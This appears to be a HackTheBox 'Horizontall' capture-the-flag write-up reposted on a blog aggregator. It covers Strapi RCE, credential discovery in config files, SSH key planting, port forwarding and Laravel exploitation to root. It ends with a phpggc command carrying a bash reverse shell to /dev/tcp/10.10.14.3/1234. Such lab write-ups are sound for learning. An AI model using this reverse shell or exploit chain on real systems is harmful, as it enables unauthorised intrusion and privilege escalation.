当前位置:网站首页>HackTheBox | Horizontall
HackTheBox | Horizontall
2022-08-08 13:34:00 【xxL7-】
Horizontall
nmap scan, open 22, 80, 80 corresponding sites http://horizontall.htb
Visit 80
dirsearch scans, also nothing
After watching wp, I found that there is a new domain name in the js file of the response, although I still can't find it
Visit http://api-prod.horizontall.htb/
Find an admin path, jump to the authentication page after visiting, and use strapi
CMS
The familiar routine is Google exp, and then I found RCE
Use the script, successful RCE, but no echo
Rebound shell directly
Check /etc/passwd and see developer
user
strapi users can directly read user.txt in the developer user's home directory
Check local, there is MySQL
Try to find the MySQL database login method, find a bunch of account passwords in database.json
under /opt/strapi/myapi/config/environments/development
>developer/#J!:F9Zt2u
But this password cannot log in to the developer's ssh, so start with the database.Finally, the ciphertext value of strapi's administrator password is found in the database.
John's blasting didn't come out
Reviewing the previous content, I found that 1337
and 8000
are also open locally.Detect the services of these two ports and find that 8000 is open Lavarel
.
Write ssh public key for later port forwarding
Local ssh-keygen
generates id_rsa.pub
, and then writes the content of id_rsa.pub
to in the strapi home directory.ssh/authorized_keys
in
Set up ssh port forwarding locally, forward 127.0.0.1:8000
on the 10.10.11.105 host to the local port 8000
When I visit the local 8000 again, I access the Laravel service on port 8000 of 10.10.11.105, the version is v8
Laravel has CVE, which was used in a previous question, so I directly found exp to use it
https://github.com/ambionics/laravel-exploits
Get root privileges directly
Bounce shell
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/1234 0>&1'"
边栏推荐
- 2020年是时候更新你的技术武器库了:Asgi vs Wsgi(FastAPI vs Flask)
- 清华|GLM-130B:一个开放的双语预训练模型
- [C language] Dynamic memory management
- 干货满满,中科院信工所于静新课帮你get学术研究与论文写作技能
- php文件上传下载(存放文件二进制到数据库)
- [C language] Detailed explanation of custom types: structure, enumeration, union
- Program Environment and Preprocessing
- curl获取harbor镜像仓库项目下的镜像列表
- The programmer essential VS debugging technique
- C语言小项目 -- 扫雷游戏完整代码(递归展开 + 选择标记)
猜你喜欢
随机推荐
教学习编程,第一步解决自信问题,培养自己的专注力
MySQL database storage series (5) the InnoDB storage format
Docker-持久化数据库(数据卷)
代码随想录笔记_动态规划_322零钱兑换
【Redis】位图以及位图的使用场景(统计在线人数和用户在线状态)
使用单点登录 (SSO):便捷访问,降低风险,精简流程
腾讯,投了个 “离诺贝尔奖最近的华人”
Jenkins - 持续集成介绍(1)
【个人总结】2022.8.7周结
ctfshow 七夕杯(复现)
Jenkins - Introduction to Continuous Integration (1)
KD-SCFNet:通过知识蒸馏实现更准确、更高效的显着目标检测(ECCV2022)
牛 plus,多层嵌套动态 JSON 该如何解析总结
PHP中使用XML-RPC构造Web Service简单入门
Tensorflow与Keras进行机器学习、深度学习
[C language] In-depth analysis of data storage in memory
Qt 在循环中超时跳出
qsort 函数的使用及其模拟实现
化工行业数字化供应链系统:赋能化工企业高质量发展,促进上下游协同
指针和数组笔试题解析